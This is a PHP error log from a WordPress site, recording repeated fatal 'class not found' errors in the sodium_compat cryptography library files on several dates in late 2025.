[25-Sep-2025 22:13:45 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[25-Sep-2025 22:13:46 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[25-Sep-2025 22:13:46 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[25-Sep-2025 22:13:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[25-Sep-2025 22:13:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[25-Sep-2025 22:13:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[25-Sep-2025 22:13:58 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[25-Sep-2025 22:13:58 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[25-Sep-2025 22:14:00 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[25-Sep-2025 22:14:01 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[02-Oct-2025 10:42:33 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[02-Oct-2025 10:42:33 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[02-Oct-2025 10:42:33 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[02-Oct-2025 10:42:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[02-Oct-2025 10:42:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[02-Oct-2025 10:42:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[02-Oct-2025 10:42:46 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[02-Oct-2025 10:42:47 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[02-Oct-2025 10:42:47 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[02-Oct-2025 10:42:47 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[02-Oct-2025 10:42:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[02-Oct-2025 10:42:50 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[02-Oct-2025 10:42:53 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[02-Oct-2025 10:42:53 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[02-Oct-2025 10:42:53 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[02-Oct-2025 10:42:53 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[02-Oct-2025 10:50:01 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[02-Oct-2025 10:50:01 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[02-Oct-2025 10:50:01 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[02-Oct-2025 10:50:04 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[02-Oct-2025 10:50:06 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[02-Oct-2025 10:50:09 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[02-Oct-2025 10:50:14 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[02-Oct-2025 10:50:14 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[02-Oct-2025 10:50:15 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[02-Oct-2025 10:50:16 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[02-Oct-2025 10:50:18 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[02-Oct-2025 10:50:18 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[02-Oct-2025 10:50:20 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[02-Oct-2025 10:50:21 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[02-Oct-2025 10:50:21 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[02-Oct-2025 10:50:21 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[02-Nov-2025 08:31:31 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[02-Nov-2025 08:31:31 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[02-Nov-2025 08:31:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[02-Nov-2025 08:31:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[02-Nov-2025 08:31:38 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[02-Nov-2025 08:31:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[02-Nov-2025 08:31:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[02-Nov-2025 08:31:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[02-Nov-2025 08:31:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[02-Nov-2025 08:31:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[02-Nov-2025 08:31:53 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[02-Nov-2025 08:31:53 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[02-Nov-2025 08:31:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[02-Nov-2025 08:31:56 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[02-Nov-2025 08:31:56 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[02-Nov-2025 08:31:56 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[02-Nov-2025 08:41:09 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[02-Nov-2025 08:41:09 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[02-Nov-2025 08:41:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[02-Nov-2025 08:41:15 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[02-Nov-2025 08:41:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[02-Nov-2025 08:41:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[02-Nov-2025 08:41:30 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[02-Nov-2025 08:41:31 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[02-Nov-2025 08:41:31 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[02-Nov-2025 08:41:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[02-Nov-2025 08:41:35 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[02-Nov-2025 08:41:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[02-Nov-2025 08:41:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[02-Nov-2025 08:41:40 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[02-Nov-2025 08:41:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[02-Nov-2025 08:41:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[06-Dec-2025 18:48:57 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[06-Dec-2025 18:48:57 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[06-Dec-2025 18:48:58 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[06-Dec-2025 18:49:03 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[06-Dec-2025 18:49:06 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[06-Dec-2025 18:49:11 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[06-Dec-2025 18:49:18 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[06-Dec-2025 18:49:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[06-Dec-2025 18:49:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[06-Dec-2025 18:49:20 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[06-Dec-2025 18:49:24 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[06-Dec-2025 18:49:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
